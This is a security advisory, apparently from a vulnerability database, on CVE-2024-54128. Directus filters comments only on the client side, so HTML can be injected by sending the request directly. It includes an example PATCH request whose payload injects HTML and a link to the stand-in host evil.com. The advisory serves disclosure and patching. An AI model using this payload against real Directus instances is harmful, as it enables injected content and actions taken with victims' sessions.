Directus has an HTML Injection in Comment
Summary
The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.
Details
The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.
Example Request:
PATCH /activity/comment/3 HTTP/2
Host: directus.local
{
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>"
}Example Response:
{
"data": {
"id": 3,
"action": "comment",
"user": "288fdccc-399a-40a1-ac63-811bf62e6a18",
"timestamp": "2023-09-06T02:23:40.740Z",
"ip": "10.42.0.1",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
"collection": "directus_files",
"item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a",
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>",
"origin": "https://directus.local",
"revisions": []
}
}Example Result:
Impact
With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | directus | >= 10.10.0, < 10.13.4, >= 11.0.0-rc.1, < 11.2.2 | 10.13.4, 11.2.2 |
| npm package | @directus/app | >= 11.0.0, < 13.3.1 | 13.3.1 |
References
- https://github.com/directus/directus/security/advisories/GHSA-r6wx-627v-gh2f
- https://nvd.nist.gov/vuln/detail/CVE-2024-54128
- https://github.com/directus/directus/commit/4487fb18d5cb09e071b111d2dc0c9d6bcb437633
- https://github.com/directus/directus/commit/c89dbb233fbad2fd0cf41eb99d50c6de4e84195d
- https://github.com/directus/directus
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-80- Platform
- npm
- Package
directus, @directus/app- Disclosed
- 05.12.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-r6wx-627v-gh2f - CC BY 4.0
Vulnerability history: directus
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 04.2022 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 19
- Medium 34
- Low 3
Disclosures per year
- 2022: 4
- 2023: 8
- 2024: 14
- 2025: 17
- 2026: 15
-
Directus has an HTML Injection in Comment this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.